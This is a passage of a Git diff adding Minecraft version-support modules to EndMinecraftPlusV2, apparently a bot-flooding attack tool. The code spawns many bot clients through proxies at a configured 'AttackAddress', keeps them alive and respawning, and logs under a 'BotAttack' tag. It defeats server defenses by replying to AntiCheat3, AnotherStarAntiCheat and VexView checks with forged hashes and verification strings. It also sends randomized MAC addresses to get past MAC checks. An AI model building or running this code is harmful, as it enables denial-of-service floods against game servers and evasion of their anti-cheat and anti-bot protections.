||||
ServerPlayerPositionRotationPacket packet = (ServerPlayerPositionRotationPacket) recvPacket;
|
||||
sendPositionRotationPacket(session, packet.getX(), packet.getY(), packet.getZ(), packet.getYaw(), packet.getYaw());
|
||||
sendClientPlayerMovementPacket(session, true);
|
||||
}
|
||||
|
||||
@Override
|
||||
public boolean checkServerChatPacket(Object packet) {
|
||||
return packet instanceof ServerChatPacket;
|
||||
}
|
||||
|
||||
@Override
|
||||
public void handleServerChatPacket(Object client, Object recvPacket, String username) {
|
||||
ServerChatPacket chatPacket = (ServerChatPacket) recvPacket;
|
||||
Message message = chatPacket.getMessage();
|
||||
if (ConfigUtil.ShowServerMessages && !getMessageText(message).equals("")) {
|
||||
LogUtil.doLog(0, "[服务端返回信息] [" + username + "] " + getMessageText(message), "BotAttack");
|
||||
}
|
||||
}
|
||||
|
||||
@Override
|
||||
public boolean checkServerKeepAlivePacket(Object packet) {
|
||||
return packet instanceof ServerKeepAlivePacket;
|
||||
}
|
||||
|
||||
@Override
|
||||
public void handleServerKeepAlivePacket(Object client, Object recvPacket, String username) {
|
||||
Session session = ((Client) client).getSession();
|
||||
ServerKeepAlivePacket serverKeepAlivePacket = (ServerKeepAlivePacket) recvPacket;
|
||||
if (ConfigUtil.KeepAlive) {
|
||||
sendClientKeepAlivePacket(session, serverKeepAlivePacket.getPingId());
|
||||
} }
|
||||
|
||||
@Override
|
||||
public boolean checkServerPlayerHealthPacket(Object packet) {
|
||||
return packet instanceof ServerPlayerHealthPacket;
|
||||
}
|
||||
|
||||
@Override
|
||||
public void handleServerPlayerHealthPacket(Object client, Object recvPacket, String username) {
|
||||
Session session = ((Client) client).getSession();
|
||||
ServerPlayerHealthPacket serverPlayerHealthPacket = (ServerPlayerHealthPacket) recvPacket;
|
||||
double health = serverPlayerHealthPacket.getHealth();
|
||||
if (health <= 0) {
|
||||
sendRespawnPacket(session);
|
||||
LogUtil.doLog(0, "[" + username + "] " + "假人于服务器中死亡,已重生。", "BotAttack");
|
||||
}
|
||||
}
|
||||
|
||||
@Override
|
||||
public void handleOtherPacket(Object packet) {
|
||||
}
|
||||
|
||||
@Override
|
||||
public void sendChatPacket(Object client, String text) {
|
||||
Session session = ((Client) client).getSession();
|
||||
ClientChatPacket chatPacket = new ClientChatPacket(text);
|
||||
session.send(chatPacket);
|
||||
}
|
||||
|
||||
@Override
|
||||
public void sendTabCompletePacket(Object client, String cmd) {
|
||||
Session session = ((Client) client).getSession();
|
||||
ClientTabCompletePacket clientTabCompletePacket = new ClientTabCompletePacket(1, cmd);
|
||||
session.send(clientTabCompletePacket);
|
||||
}
|
||||
|
||||
@Override
|
||||
public void sendPositionPacketFromPacket(Object client, Object recvPacket, boolean random) {
|
||||
Session session = ((Client) client).getSession();
|
||||
ServerPlayerPositionRotationPacket packet = (ServerPlayerPositionRotationPacket) recvPacket;
|
||||
double x = packet.getX() + (random ? OtherUtils.getRandomInt(-10, 10) : 0);
|
||||
double y = packet.getY() + (random ? OtherUtils.getRandomInt(-10, 10) : 0);
|
||||
double z = packet.getZ() + (random ? OtherUtils.getRandomInt(-10, 10) : 0);
|
||||
float yaw = packet.getYaw() + (random ? OtherUtils.getRandomFloat(0.00, 1.00) : 0);
|
||||
float pitch = packet.getPitch() + (random ? OtherUtils.getRandomFloat(0.00, 1.00) : 0);
|
||||
sendPositionRotationPacket(session, x, y, z, yaw, pitch);
|
||||
}
|
||||
|
||||
@Override
|
||||
public void sendCrashBookPacket(Object client) {
|
||||
}
|
||||
|
||||
@Override
|
||||
public Object getMessageFromPacket(Object packet) {
|
||||
ServerChatPacket chatPacket = (ServerChatPacket) packet;
|
||||
return chatPacket.getMessage();
|
||||
}
|
||||
|
||||
@Override
|
||||
public boolean hasMessageClickEvent(Object message) {
|
||||
Message msg = (Message) message;
|
||||
return msg.getStyle().getClickEvent() != null;
|
||||
}
|
||||
|
||||
@Override
|
||||
public String getMessageText(Object message) {
|
||||
Message msg = (Message) message;
|
||||
return getTextFromJson(msg.toJson());
|
||||
}
|
||||
|
||||
private static String getTextFromJson(JsonElement element) {
|
||||
StringBuilder textBuilder = new StringBuilder();
|
||||
if (element.isJsonObject()) {
|
||||
JsonObject obj = element.getAsJsonObject();
|
||||
|
||||
boolean hasTranslate = obj.has("translate");
|
||||
String translate = hasTranslate ? obj.get("translate").getAsString() : "";
|
||||
if (hasTranslate && !translate.contains("chat.type")) {
|
||||
return translate;
|
||||
}
|
||||
if (obj.has("text")) {
|
||||
textBuilder.append(obj.get("text").getAsString());
|
||||
}
|
||||
if (obj.has("extra")) {
|
||||
for (JsonElement extraElement : obj.getAsJsonArray("extra")) {
|
||||
textBuilder.append(getTextFromJson(extraElement));
|
||||
}
|
||||
}
|
||||
if (obj.has("with")) {
|
||||
// 记录 "with" 数组元素以便之后处理
|
||||
ArrayList<String> withElementsText = new ArrayList<>();
|
||||
for (JsonElement withElement : obj.getAsJsonArray("with")) {
|
||||
withElementsText.add(getTextFromJson(withElement));
|
||||
}
|
||||
// 对 "with" 数组的处理,添加适当的分隔符
|
||||
if (!withElementsText.isEmpty()) {
|
||||
// 添加第一个元素,并包围以方括号
|
||||
textBuilder.append("[").append(withElementsText.get(0)).append("]");
|
||||
// 如果有更多元素,这些应该跟随在后面,并用空格分隔
|
||||
for (int i = 1; i < withElementsText.size(); i++) {
|
||||
textBuilder.append(" ").append(withElementsText.get(i));
|
||||
}
|
||||
}
|
||||
}
|
||||
} else if (element.isJsonArray()) {
|
||||
for (JsonElement arrElement : element.getAsJsonArray()) {
|
||||
textBuilder.append(getTextFromJson(arrElement));
|
||||
}
|
||||
}
|
||||
return textBuilder.toString();
|
||||
}
|
||||
|
||||
@Override
|
||||
public void handleMessageExtra(cn.serendipityr.EndMinecraftPlusV2.MultipleVersion.Packet.PacketHandler packetHandler, Object message, Object client, String username) {
|
||||
Message msg = (Message) message;
|
||||
for (Message extra : msg.getExtra()) {
|
||||
PacketManager.clickVerifiesHandle(packetHandler, client, extra, username);
|
||||
}
|
||||
}
|
||||
|
||||
@Override
|
||||
public String getClickValue(Object message) {
|
||||
Message msg = (Message) message;
|
||||
return msg.getStyle().getClickEvent().getValue();
|
||||
}
|
||||
|
||||
@Override
|
||||
public boolean hasMessageExtra(Object message) {
|
||||
Message msg = (Message) message;
|
||||
return msg.getExtra() != null && !msg.getExtra().isEmpty();
|
||||
}
|
||||
|
||||
private void sendClientPluginMessagePacket(Session session, String channel, byte[] data) {
|
||||
ClientPluginMessagePacket clientPluginMessagePacket = new ClientPluginMessagePacket(channel, data);
|
||||
session.send(clientPluginMessagePacket);
|
||||
}
|
||||
|
||||
private void sendClientSettingPacket(Session session, String locale) {
|
||||
ClientSettingsPacket clientSettingsPacket = new ClientSettingsPacket(locale, 8, ChatVisibility.FULL, true, SkinPart.values(), Hand.MAIN_HAND);
|
||||
session.send(clientSettingsPacket);
|
||||
}
|
||||
|
||||
private void sendClientChangeHeldItemPacket(Session session, int slot) {
|
||||
ClientPlayerChangeHeldItemPacket clientPlayerChangeHeldItemPacket = new ClientPlayerChangeHeldItemPacket(slot);
|
||||
session.send(clientPlayerChangeHeldItemPacket);
|
||||
}
|
||||
|
||||
private void sendPositionRotationPacket(Session session, double x, double y, double z, float yaw, float pitch) {
|
||||
ClientPlayerPositionRotationPacket clientPlayerPositionRotationPacket = new ClientPlayerPositionRotationPacket(true, x, y, z, yaw, pitch);
|
||||
session.send(clientPlayerPositionRotationPacket);
|
||||
}
|
||||
|
||||
private void sendClientPlayerMovementPacket(Session session, boolean onGround) {
|
||||
ClientPlayerMovementPacket clientPlayerMovementPacket = new ClientPlayerMovementPacket(onGround);
|
||||
session.send(clientPlayerMovementPacket);
|
||||
}
|
||||
|
||||
private void sendClientKeepAlivePacket(Session session, long pingId) {
|
||||
ClientKeepAlivePacket packet = new ClientKeepAlivePacket(pingId);
|
||||
session.send(packet);
|
||||
}
|
||||
|
||||
private void sendRespawnPacket(Session session) {
|
||||
ClientRequestPacket clientRequestPacket = new ClientRequestPacket(ClientRequest.RESPAWN);
|
||||
session.send(clientRequestPacket);
|
||||
}
|
||||
}
|
23
VersionSupport-P1_14_X/VersionSupport-P1_14_X.iml
Normal file
23
VersionSupport-P1_14_X/VersionSupport-P1_14_X.iml
Normal file
@ -0,0 +1,23 @@
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<module type="JAVA_MODULE" version="4">
|
||||
<component name="NewModuleRootManager" inherit-compiler-output="true">
|
||||
<exclude-output />
|
||||
<content url="file://$MODULE_DIR$">
|
||||
<sourceFolder url="file://$MODULE_DIR$/src" isTestSource="false" />
|
||||
</content>
|
||||
<orderEntry type="inheritedJdk" />
|
||||
<orderEntry type="sourceFolder" forTests="false" />
|
||||
<orderEntry type="module-library">
|
||||
<library>
|
||||
<CLASSES>
|
||||
<root url="jar://$MODULE_DIR$/../libs/MCP-1.14.4.jar!/" />
|
||||
</CLASSES>
|
||||
<JAVADOC />
|
||||
<SOURCES />
|
||||
</library>
|
||||
</orderEntry>
|
||||
<orderEntry type="module" module-name="VersionFactory" />
|
||||
<orderEntry type="module" module-name="Tools" />
|
||||
<orderEntry type="module" module-name="AdvanceModule" />
|
||||
</component>
|
||||
</module>
|
@ -0,0 +1,181 @@
|
||||
package cn.serendipityr.EndMinecraftPlusV2.MultipleVersion.VersionSupport.P1_14_X;
|
||||
|
||||
import cn.serendipityr.EndMinecraftPlusV2.MultipleVersion.Bot.BotManager;
|
||||
import cn.serendipityr.EndMinecraftPlusV2.MultipleVersion.Packet.PacketManager;
|
||||
import cn.serendipityr.EndMinecraftPlusV2.Tools.ConfigUtil;
|
||||
import cn.serendipityr.EndMinecraftPlusV2.Tools.LogUtil;
|
||||
import cn.serendipityr.EndMinecraftPlusV2.Tools.ProxyUtil;
|
||||
import com.github.steveice10.mc.protocol.MinecraftProtocol;
|
||||
import com.github.steveice10.packetlib.Client;
|
||||
import com.github.steveice10.packetlib.event.session.*;
|
||||
import com.github.steveice10.packetlib.tcp.TcpSessionFactory;
|
||||
|
||||
import java.net.Proxy;
|
||||
|
||||
public class BotHandler implements cn.serendipityr.EndMinecraftPlusV2.MultipleVersion.Bot.BotHandler {
|
||||
@Override
|
||||
public Object createClient(Proxy proxy, String userName) {
|
||||
return new Client(ConfigUtil.AttackAddress, ConfigUtil.AttackPort, new MinecraftProtocol(userName), new TcpSessionFactory(proxy));
|
||||
}
|
||||
|
||||
@Override
|
||||
public Object createClientLocal(String userName) {
|
||||
return new Client(ConfigUtil.AttackAddress, ConfigUtil.AttackPort, new MinecraftProtocol(userName), new TcpSessionFactory());
|
||||
}
|
||||
|
||||
@Override
|
||||
public void connect(Object c, Proxy proxy) {
|
||||
Client client = (Client) c;
|
||||
String userName = BotManager.clientList.get(c);
|
||||
if (ConfigUtil.ForgeSupport) {
|
||||
LogUtil.doLog(0, "选定的协议库版本无法启用Forge支持。", "ForgeSupport");
|
||||
}
|
||||
|
||||
client.getSession().addListener(new SessionListener() {
|
||||
public void packetReceived(PacketReceivedEvent e) {
|
||||
if (!BotManager.aliveList.containsKey(client)) {
|
||||
if (ConfigUtil.SaveWorkingProxy) {
|
||||
ProxyUtil.saveWorkingProxy(proxy);
|
||||
}
|
||||
BotManager.aliveList.put(client, userName);
|
||||
BotManager.joinedCount++;
|
||||
}
|
||||
|
||||
new Thread(() -> {
|
||||
PacketManager.handlePacket(BotManager.packetHandler, client, e.getPacket(), userName);
|
||||
}).start();
|
||||
}
|
||||
|
||||
@Override
|
||||
public void packetSending(PacketSendingEvent packetSendingEvent) {
|
||||
}
|
||||
|
||||
public void packetSent(PacketSentEvent e) {
|
||||
}
|
||||
|
||||
public void connected(ConnectedEvent e) {
|
||||
}
|
||||
|
||||
public void disconnecting(DisconnectingEvent e) {
|
||||
}
|
||||
|
||||
public void disconnected(DisconnectedEvent e) {
|
||||
String disconnectMsg;
|
||||
|
||||
if (e.getCause() == null) {
|
||||
disconnectMsg = e.getReason();
|
||||
LogUtil.doLog(0, "[假人断开连接] [" + userName + "] " + disconnectMsg, "BotAttack");
|
||||
} else {
|
||||
disconnectMsg = e.getCause().getClass().getSimpleName();
|
||||
if (ConfigUtil.ShowFails) {
|
||||
LogUtil.doLog(0, "[假人断开连接] [" + userName + "] " + disconnectMsg, "BotAttack");
|
||||
}
|
||||
}
|
||||
|
||||
client.getSession().setFlag("disconnectMsg", disconnectMsg);
|
||||
BotManager.aliveList.remove(client);
|
||||
BotManager.failedCount++;
|
||||
}
|
||||
});
|
||||
|
||||
client.getSession().connect(true);
|
||||
}
|
||||
|
||||
@Override
|
||||
public void disconnect(Object c) {
|
||||
Client client = (Client) c;
|
||||
client.getSession().disconnect("");
|
||||
}
|
||||
|
||||
@Override
|
||||
public void connectLocal(Object c) {
|
||||
Client client = (Client) c;
|
||||
String userName = BotManager.clientList.get(c);
|
||||
if (ConfigUtil.ForgeSupport) {
|
||||
LogUtil.doLog(0, "[DEBUG] [载入Mod列表]", "BotAttack");
|
||||
LogUtil.doLog(0, "[DEBUG] [载入Mod列表] 选定的协议库版本无法启用Forge支持。", "BotAttack");
|
||||
}
|
||||
|
||||
LogUtil.doLog(0, "[DEBUG] [创建监听器]", "BotAttack");
|
||||
client.getSession().addListener(new SessionListener() {
|
||||
public void packetReceived(PacketReceivedEvent e) {
|
||||
if (!BotManager.aliveList.containsKey(client)) {
|
||||
BotManager.aliveList.put(client, userName);
|
||||
BotManager.joinedCount++;
|
||||
}
|
||||
|
||||
new Thread(() -> {
|
||||
PacketManager.handlePacket(BotManager.packetHandler, client, e.getPacket(), userName);
|
||||
}).start();
|
||||
}
|
||||
|
||||
@Override
|
||||
public void packetSending(PacketSendingEvent packetSendingEvent) {
|
||||
}
|
||||
|
||||
public void packetSent(PacketSentEvent e) {
|
||||
}
|
||||
|
||||
public void connected(ConnectedEvent e) {
|
||||
LogUtil.doLog(0, "[DEBUG] [Bot连接成功]", "BotAttack");
|
||||
}
|
||||
|
||||
public void disconnecting(DisconnectingEvent e) {
|
||||
}
|
||||
|
||||
public void disconnected(DisconnectedEvent e) {
|
||||
String disconnectMsg;
|
||||
|
||||
if (e.getCause() == null) {
|
||||
disconnectMsg = e.getReason();
|
||||
LogUtil.doLog(0, "[假人断开连接] [" + userName + "] " + disconnectMsg, "BotAttack");
|
||||
} else {
|
||||
e.getCause().printStackTrace();
|
||||
disconnectMsg = e.getCause().getClass().getSimpleName();
|
||||
if (ConfigUtil.ShowFails) {
|
||||
LogUtil.doLog(0, "[假人断开连接] [" + userName + "] " + disconnectMsg, "BotAttack");
|
||||
}
|
||||
}
|
||||
|
||||
BotManager.failedCount++;
|
||||
client.getSession().setFlag("disconnectMsg", disconnectMsg);
|
||||
|
||||
BotManager.aliveList.remove(client);
|
||||
}
|
||||
});
|
||||
|
||||
LogUtil.doLog(0, "[DEBUG] [连接建立开始] " + client.getHost() + ":" + client.getPort(), "BotAttack");
|
||||
client.getSession().connect(true);
|
||||
}
|
||||
|
||||
@Override
|
||||
public boolean checkClientStatus(Object client) {
|
||||
Client c = (Client) client;
|
||||
return c.getSession().isConnected();
|
||||
}
|
||||
|
||||
@Override
|
||||
public String getClientDisconnectMsg(Object client) {
|
||||
Client c = (Client) client;
|
||||
return c.getSession().getFlag("disconnectMsg");
|
||||
}
|
||||
|
||||
@Override
|
||||
public boolean hasClientFlag(Object client, String flag) {
|
||||
Client c = (Client) client;
|
||||
return c.getSession().hasFlag(flag);
|
||||
}
|
||||
|
||||
@Override
|
||||
public void setClientFlag(Object client, String flag) {
|
||||
Client c = (Client) client;
|
||||
c.getSession().setFlag(flag, "");
|
||||
}
|
||||
|
||||
@Override
|
||||
public void setClientTimeout(Object client, long timeout) {
|
||||
Client c = (Client) client;
|
||||
c.getSession().setReadTimeout(Math.toIntExact(timeout));
|
||||
c.getSession().setWriteTimeout(Math.toIntExact(timeout));
|
||||
}
|
||||
}
|
@ -0,0 +1,294 @@
|
||||
package cn.serendipityr.EndMinecraftPlusV2.MultipleVersion.VersionSupport.P1_14_X;
|
||||
|
||||
import cn.serendipityr.EndMinecraftPlusV2.AdvanceModule.ACProtocol.AnotherStarAntiCheat;
|
||||
import cn.serendipityr.EndMinecraftPlusV2.AdvanceModule.ACProtocol.AntiCheat3;
|
||||
import cn.serendipityr.EndMinecraftPlusV2.MultipleVersion.Packet.PacketManager;
|
||||
import cn.serendipityr.EndMinecraftPlusV2.MultipleVersion.UniverseMethods;
|
||||
import cn.serendipityr.EndMinecraftPlusV2.Tools.ConfigUtil;
|
||||
import cn.serendipityr.EndMinecraftPlusV2.Tools.LogUtil;
|
||||
import cn.serendipityr.EndMinecraftPlusV2.Tools.OtherUtils;
|
||||
import com.github.steveice10.mc.protocol.data.game.ClientRequest;
|
||||
import com.github.steveice10.mc.protocol.data.game.entity.player.Hand;
|
||||
import com.github.steveice10.mc.protocol.data.game.setting.ChatVisibility;
|
||||
import com.github.steveice10.mc.protocol.data.game.setting.SkinPart;
|
||||
import com.github.steveice10.mc.protocol.data.message.Message;
|
||||
import com.github.steveice10.mc.protocol.packet.ingame.client.*;
|
||||
import com.github.steveice10.mc.protocol.packet.ingame.client.player.ClientPlayerChangeHeldItemPacket;
|
||||
import com.github.steveice10.mc.protocol.packet.ingame.client.player.ClientPlayerMovementPacket;
|
||||
import com.github.steveice10.mc.protocol.packet.ingame.client.player.ClientPlayerPositionRotationPacket;
|
||||
import com.github.steveice10.mc.protocol.packet.ingame.server.ServerChatPacket;
|
||||
import com.github.steveice10.mc.protocol.packet.ingame.server.ServerJoinGamePacket;
|
||||
import com.github.steveice10.mc.protocol.packet.ingame.server.ServerKeepAlivePacket;
|
||||
import com.github.steveice10.mc.protocol.packet.ingame.server.ServerPluginMessagePacket;
|
||||
import com.github.steveice10.mc.protocol.packet.ingame.server.entity.player.ServerPlayerHealthPacket;
|
||||
import com.github.steveice10.mc.protocol.packet.ingame.server.entity.player.ServerPlayerPositionRotationPacket;
|
||||
import com.github.steveice10.packetlib.Client;
|
||||
import com.github.steveice10.packetlib.Session;
|
||||
import com.google.gson.JsonElement;
|
||||
import com.google.gson.JsonObject;
|
||||
|
||||
import java.util.ArrayList;
|
||||
import java.util.Arrays;
|
||||
|
||||
public class PacketHandler implements cn.serendipityr.EndMinecraftPlusV2.MultipleVersion.Packet.PacketHandler {
|
||||
@Override
|
||||
public boolean checkServerPluginMessagePacket(Object packet) {
|
||||
return packet instanceof ServerPluginMessagePacket;
|
||||
}
|
||||
|
||||
@Override
|
||||
public void handleServerPluginMessagePacket(Object client, Object recvPacket, String username) {
|
||||
ServerPluginMessagePacket packet = (ServerPluginMessagePacket) recvPacket;
|
||||
Session session = ((Client) client).getSession();
|
||||
|
||||
switch (packet.getChannel()) {
|
||||
case "AntiCheat3.4.3":
|
||||
AntiCheat3 ac3 = new AntiCheat3();
|
||||
String code = ac3.uncompress(packet.getData());
|
||||
byte[] checkData = ac3.getCheckData("AntiCheat3.jar", code, new String[]{"44f6bc86a41fa0555784c255e3174260"});
|
||||
sendClientPluginMessagePacket(session, "AntiCheat3.4.3", checkData);
|
||||
break;
|
||||
case "anotherstaranticheat":
|
||||
AnotherStarAntiCheat asac = new AnotherStarAntiCheat();
|
||||
String salt = asac.decodeSPacket(packet.getData());
|
||||
byte[] data = asac.encodeCPacket(new String[]{"4863f8708f0c24517bb5d108d45f3e15"}, salt);
|
||||
sendClientPluginMessagePacket(session, "anotherstaranticheat", data);
|
||||
break;
|
||||
case "VexView":
|
||||
if (new String(packet.getData()).equals("GET:Verification")) {
|
||||
sendClientPluginMessagePacket(session, "VexView", "Verification:1.8.10".getBytes());
|
||||
}
|
||||
break;
|
||||
case "MAC|Check":
|
||||
if (ConfigUtil.RandomMAC) {
|
||||
byte[] MACAddress = UniverseMethods.getRandomMAC();
|
||||
LogUtil.doLog(0, "[" + username + "] 已发送随机MACAddress数据。(" + Arrays.toString(MACAddress) + ")", "MACCheck");
|
||||
sendClientPluginMessagePacket(session, packet.getChannel(), MACAddress);
|
||||
}
|
||||
break;
|
||||
default:
|
||||
// 收到插件消息
|
||||
}
|
||||
}
|
||||
|
||||
@Override
|
||||
public boolean checkServerJoinGamePacket(Object packet) {
|
||||
return packet instanceof ServerJoinGamePacket;
|
||||
}
|
||||
|
||||
@Override
|
||||
public void handleServerJoinGamePacket(Object client, Object recvPacket, String username) {
|
||||
Session session = ((Client) client).getSession();
|
||||
session.setFlag("join", true);
|
||||
LogUtil.doLog(0, "[假人加入服务器] [" + username + "]", "BotAttack");
|
||||
|
||||
sendClientSettingPacket(session, "zh_CN");
|
||||
sendClientChangeHeldItemPacket(session, 1);
|
||||
}
|
||||
|
||||
@Override
|
||||
public boolean checkServerPlayerPositionRotationPacket(Object packet) {
|
||||
return packet instanceof ServerPlayerPositionRotationPacket;
|
||||
}
|
||||
|
||||
@Override
|
||||
public void handleServerPlayerPositionRotationPacket(Object client, Object recvPacket, String username) {
|
||||
Session session = ((Client) client).getSession();
|
||||
ServerPlayerPositionRotationPacket packet = (ServerPlayerPositionRotationPacket) recvPacket;
|
||||
sendPositionRotationPacket(session, packet.getX(), packet.getY(), packet.getZ(), packet.getYaw(), packet.getYaw());
|
||||
sendClientPlayerMovementPacket(session, true);
|
||||
}
|
||||
|
||||
@Override
|
||||
public boolean checkServerChatPacket(Object packet) {
|
||||
return packet instanceof ServerChatPacket;
|
||||
}
|
||||
|
||||
@Override
|
||||
public void handleServerChatPacket(Object client, Object recvPacket, String username) {
|
||||
ServerChatPacket chatPacket = (ServerChatPacket) recvPacket;
|
||||
Message message = chatPacket.getMessage();
|
||||
if (ConfigUtil.ShowServerMessages && !getMessageText(message).equals("")) {
|
||||
LogUtil.doLog(0, "[服务端返回信息] [" + username + "] " + getMessageText(message), "BotAttack");
|
||||
}
|
||||
}
|
||||
|
||||
@Override
|
||||
public boolean checkServerKeepAlivePacket(Object packet) {
|
||||
return packet instanceof ServerKeepAlivePacket;
|
||||
}
|
||||
|
||||
@Override
|
||||
public void handleServerKeepAlivePacket(Object client, Object recvPacket, String username) {
|
||||
Session session = ((Client) client).getSession();
|
||||
ServerKeepAlivePacket serverKeepAlivePacket = (ServerKeepAlivePacket) recvPacket;
|
||||
if (ConfigUtil.KeepAlive) {
|
||||
sendClientKeepAlivePacket(session, serverKeepAlivePacket.getPingId());
|
||||
} }
|
||||
|
||||
@Override
|
||||
public boolean checkServerPlayerHealthPacket(Object packet) {
|
||||
return packet instanceof ServerPlayerHealthPacket;
|
||||
}
|
||||
|
||||
@Override
|
||||
public void handleServerPlayerHealthPacket(Object client, Object recvPacket, String username) {
|
||||
Session session = ((Client) client).getSession();
|
||||
ServerPlayerHealthPacket serverPlayerHealthPacket = (ServerPlayerHealthPacket) recvPacket;
|
||||
double health = serverPlayerHealthPacket.getHealth();
|
||||
if (health <= 0) {
|
||||
sendRespawnPacket(session);
|
||||
LogUtil.doLog(0, "[" + username + "] " + "假人于服务器中死亡,已重生。", "BotAttack");
|
||||
}
|
||||
}
|
||||
|
||||
@Override
|
||||
public void handleOtherPacket(Object packet) {
|
||||
}
|
||||
|
||||
@Override
|
||||
public void sendChatPacket(Object client, String text) {
|
||||
Session session = ((Client) client).getSession();
|
||||
ClientChatPacket chatPacket = new ClientChatPacket(text);
|
||||
session.send(chatPacket);
|
||||
}
|
||||
|
||||
@Override
|
||||
public void sendTabCompletePacket(Object client, String cmd) {
|
||||
Session session = ((Client) client).getSession();
|
||||
ClientTabCompletePacket clientTabCompletePacket = new ClientTabCompletePacket(1, cmd);
|
||||
session.send(clientTabCompletePacket);
|
||||
}
|
||||
|
||||
@Override
|
||||
public void sendPositionPacketFromPacket(Object client, Object recvPacket, boolean random) {
|
||||
Session session = ((Client) client).getSession();
|
||||
ServerPlayerPositionRotationPacket packet = (ServerPlayerPositionRotationPacket) recvPacket;
|
||||
double x = packet.getX() + (random ? OtherUtils.getRandomInt(-10, 10) : 0);
|
||||
double y = packet.getY() + (random ? OtherUtils.getRandomInt(-10, 10) : 0);
|
||||
double z = packet.getZ() + (random ? OtherUtils.getRandomInt(-10, 10) : 0);
|
||||
float yaw = packet.getYaw() + (random ? OtherUtils.getRandomFloat(0.00, 1.00) : 0);
|
||||
float pitch = packet.getPitch() + (random ? OtherUtils.getRandomFloat(0.00, 1.00) : 0);
|
||||
sendPositionRotationPacket(session, x, y, z, yaw, pitch);
|
||||
}
|
||||
|
||||
@Override
|
||||
public void sendCrashBookPacket(Object client) {
|
||||
}
|
||||
|
||||
@Override
|
||||
public Object getMessageFromPacket(Object packet) {
|
||||
ServerChatPacket chatPacket = (ServerChatPacket) packet;
|
||||
return chatPacket.getMessage();
|
||||
}
|
||||
|
||||
@Override
|
||||
public boolean hasMessageClickEvent(Object message) {
|
||||
Message msg = (Message) message;
|
||||
return msg.getStyle().getClickEvent() != null;
|
||||
}
|
||||
|
||||
@Override
|
||||
public String getMessageText(Object message) {
|
||||
Message msg = (Message) message;
|
||||
return getTextFromJson(msg.toJson());
|
||||
}
|
||||
|
||||
private static String getTextFromJson(JsonElement element) {
|
||||
StringBuilder textBuilder = new StringBuilder();
|
||||
if (element.isJsonObject()) {
|
||||
JsonObject obj = element.getAsJsonObject();
|
||||
|
||||
boolean hasTranslate = obj.has("translate");
|
||||
String translate = hasTranslate ? obj.get("translate").getAsString() : "";
|
||||
if (hasTranslate && !translate.contains("chat.type")) {
|
||||
return translate;
|
||||
}
|
||||
if (obj.has("text")) {
|
||||
textBuilder.append(obj.get("text").getAsString());
|
||||
}
|
||||
if (obj.has("extra")) {
|
||||
for (JsonElement extraElement : obj.getAsJsonArray("extra")) {
|
||||
textBuilder.append(getTextFromJson(extraElement));
|
||||
}
|
||||
}
|
||||
if (obj.has("with")) {
|
||||
// 记录 "with" 数组元素以便之后处理
|
||||
ArrayList<String> withElementsText = new ArrayList<>();
|
||||
for (JsonElement withElement : obj.getAsJsonArray("with")) {
|
||||
withElementsText.add(getTextFromJson(withElement));
|
||||
}
|
||||
// 对 "with" 数组的处理,添加适当的分隔符
|
||||
if (!withElementsText.isEmpty()) {
|
||||
// 添加第一个元素,并包围以方括号
|
||||
textBuilder.append("[").append(withElementsText.get(0)).append("]");
|
||||
// 如果有更多元素,这些应该跟随在后面,并用空格分隔
|
||||
for (int i = 1; i < withElementsText.size(); i++) {
|
||||
textBuilder.append(" ").append(withElementsText.get(i));
|
||||
}
|
||||
}
|
||||
}
|
||||
} else if (element.isJsonArray()) {
|
||||
for (JsonElement arrElement : element.getAsJsonArray()) {
|
||||
textBuilder.append(getTextFromJson(arrElement));
|
||||
}
|
||||
}
|
||||
return textBuilder.toString();
|
||||
}
|
||||
|
||||
@Override
|
||||
public void handleMessageExtra(cn.serendipityr.EndMinecraftPlusV2.MultipleVersion.Packet.PacketHandler packetHandler, Object message, Object client, String username) {
|
||||
Message msg = (Message) message;
|
||||
for (Message extra : msg.getExtra()) {
|
||||
PacketManager.clickVerifiesHandle(packetHandler, client, extra, username);
|
||||
}
|
||||
}
|
||||
|
||||
@Override
|
||||
public String getClickValue(Object message) {
|
||||
Message msg = (Message) message;
|
||||
return msg.getStyle().getClickEvent().getValue();
|
||||
}
|
||||
|
||||
@Override
|
||||
public boolean hasMessageExtra(Object message) {
|
||||
Message msg = (Message) message;
|
||||
return msg.getExtra() != null && !msg.getExtra().isEmpty();
|
||||
}
|
||||
|
||||
private void sendClientPluginMessagePacket(Session session, String channel, byte[] data) {
|
||||
ClientPluginMessagePacket clientPluginMessagePacket = new ClientPluginMessagePacket(channel, data);
|
||||
session.send(clientPluginMessagePacket);
|
||||
}
|
||||
|
||||
private void sendClientSettingPacket(Session session, String locale) {
|
||||
ClientSettingsPacket clientSettingsPacket = new ClientSettingsPacket(locale, 8, ChatVisibility.FULL, true, Arrays.asList(SkinPart.values()), Hand.MAIN_HAND);
|
||||
session.send(clientSettingsPacket);
|
||||
}
|
||||
|
||||
private void sendClientChangeHeldItemPacket(Session session, int slot) {
|
||||
ClientPlayerChangeHeldItemPacket clientPlayerChangeHeldItemPacket = new ClientPlayerChangeHeldItemPacket(slot);
|
||||
session.send(clientPlayerChangeHeldItemPacket);
|
||||
}
|
||||
|
||||
private void sendPositionRotationPacket(Session session, double x, double y, double z, float yaw, float pitch) {
|
||||
ClientPlayerPositionRotationPacket clientPlayerPositionRotationPacket = new ClientPlayerPositionRotationPacket(true, x, y, z, yaw, pitch);
|
||||
session.send(clientPlayerPositionRotationPacket);
|
||||
}
|
||||
|
||||
private void sendClientPlayerMovementPacket(Session session, boolean onGround) {
|
||||
ClientPlayerMovementPacket clientPlayerMovementPacket = new ClientPlayerMovementPacket(onGround);
|
||||
session.send(clientPlayerMovementPacket);
|
||||
}
|
||||
|
||||
private void sendClientKeepAlivePacket(Session session, long pingId) {
|
||||
ClientKeepAlivePacket packet = new ClientKeepAlivePacket(pingId);
|
||||
session.send(packet);
|
||||
}
|
||||
|
||||
private void sendRespawnPacket(Session session) {
|
||||
ClientRequestPacket clientRequestPacket = new ClientRequestPacket(ClientRequest.RESPAWN);
|
||||
session.send(clientRequestPacket);
|
||||
}
|
||||
}
|
||||
|
23
VersionSupport-P1_15_X/VersionSupport-P1_15_X.iml
Normal file
23
VersionSupport-P1_15_X/VersionSupport-P1_15_X.iml
Normal file
@ -0,0 +1,23 @@
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<module type="JAVA_MODULE" version="4">
|
||||
<component name="NewModuleRootManager" inherit-compiler-output="true">
|
||||
<exclude-output />
|
||||
<content url="file://$MODULE_DIR$">
|
||||
<sourceFolder url="file://$MODULE_DIR$/src" isTestSource="false" />
|
||||
</content>
|
||||
<orderEntry type="inheritedJdk" />
|
||||
<orderEntry type="sourceFolder" forTests="false" />
|
||||
